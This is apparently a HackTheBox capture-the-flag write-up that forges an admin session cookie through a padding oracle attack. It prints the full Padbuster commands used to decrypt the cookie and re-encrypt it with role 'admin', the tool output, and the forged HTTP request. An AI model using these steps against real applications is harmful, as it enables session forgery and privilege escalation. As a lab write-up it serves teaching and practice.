HackTheBox – I know mag1k Write Up

Tools:

- Burp Suite (Kali Linux)
- Padbuster (Kali Linux)
- http://www.asciitable.com/
- https://en.wikipedia.org/wiki/ASCII

Walkthrough:

Step	Description
1	Created an account at http://docker.hackthebox.eu:31102/. The account created for this challenge is: username: password dog:Rock@123
2	Burp Suite was used to intercept the request of the website. The “iknowmagic” cookie was discovered upon intercepting. iknowmag1k=dVkoOAgjDrfcOHnXle90n1hh%2FVfwMB7owCOK8omHpUg08CdMlFtPcg%3D%3D The suspicious pattern of “%3D%3D” led to the discovery that it was values for ASCII non alphanumeric characters. This means that “%3D%3D” is written as “=” twice The “iknowmagic” cookie was rewritten as: iknowmag1k=dVkoOAgjDrfcOHnXle90n1hh%2FVfwMB7owCOK8omHpUg08CdMlFtPcg==
3	Padbuster was used based on the hints given in the forums. Padbuster was used with the following command “padbuster http://docker.hackthebox.eu:31102/profile.php dVkoOAgjDrfcOHnXle90n1hh%2FVfwMB7owCOK8omHpUg08CdMlFtPcg%3D%3D 8 --cookies iknowmag1k=dVkoOAgjDrfcOHnXle90n1hh%2FVfwMB7owCOK8omHpUg08CdMlFtPcg%3D%3D --encoding 0 --auth username:password”

The results of Padbuster are:

```
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): {"user":"dog","role":"user"}
[+] Decrypted value (HEX):
7B2275736572223A22646F67222C22726F6C65223A2275736572227D04040404
[+] Decrypted value (Base64): eyJ1c2VyIjoiZG9nIiwicm9sZSI6InVzZXIifQQEBAQ=
-------------------------------------------------------
```

From here the role was changed to “admin” before the text was encrypted using Padbuster.

4 Padbuster was used with the following command “padbuster http://docker.hackthebox.eu:31102/profile.php dVkoOAgjDrfcOHnXle90n1hh%2FVfwMB7owCOK8omHpUg08CdMlFtPcg%3D%3D 8 --cookies iknowmag1k=dVkoOAgjDrfcOHnXle90n1hh%2FVfwMB7owCOK8omHpUg08CdMlFtPcg%3D%3D --encoding 0 -plaintext '{"user":"dog","role":"admin"}'”

The results of Padbuster are:

```
-------------------------------------------------------
** Finished ***
[+] Encrypted value is:
DY0BTcwhhQrV85ITvNdkyoJeNINbZh5gPAcs5B6pZJ0AAAAAAAAAAA%3D%3D
-------------------------------------------------------
```

5 The new encrypted cookie was send through Burp Suite under the Repeater tab.

```
GET /profile.php HTTP/1.1
Host: docker.hackthebox.eu:31243
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://docker.hackthebox.eu:31243/login.php
Connection: close
Cookie: _ga=GA1.2.2014882495.1578992232; __auc=b39b773016fa36270d9bff02f53;
_gid=GA1.2.1201632568.1581247430; PHPSESSID=tosd3gif3m53vv0p89m3fh5shp;
iknowmag1k=DY0BTcwhhQrV85ITvNdkyoJeNINbZh5gPAcs5B6pZJ0AAAAAAAAAAA%3D%3D
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

<table>
<tr>
<td>

6

</td>
<td>

The flag was obtained once the request containing the new cookie was sent.

The response of the website in Burp suite is shown below:

```
src="/assets/img/avatar.png" alt="..."/>
                                        <h4 class="title">Admin<br />
                                        <small>HTB{Please find the flag yourself ☺}small>
                                        </h4>
                                    </a>
                                </div>
                            </div>
                                                  <hr/>
```

</td>
</tr>
</table>

Flag is HTB{Please find the flag yourself ☺}

**PS:

- Ensure that the proxy settings of the browser and Burp Suite are configured properly (For example port:8080).
- For first time users of Burp Suite, please configure the browser to have the certificate from Burp Suite before starting the challenge.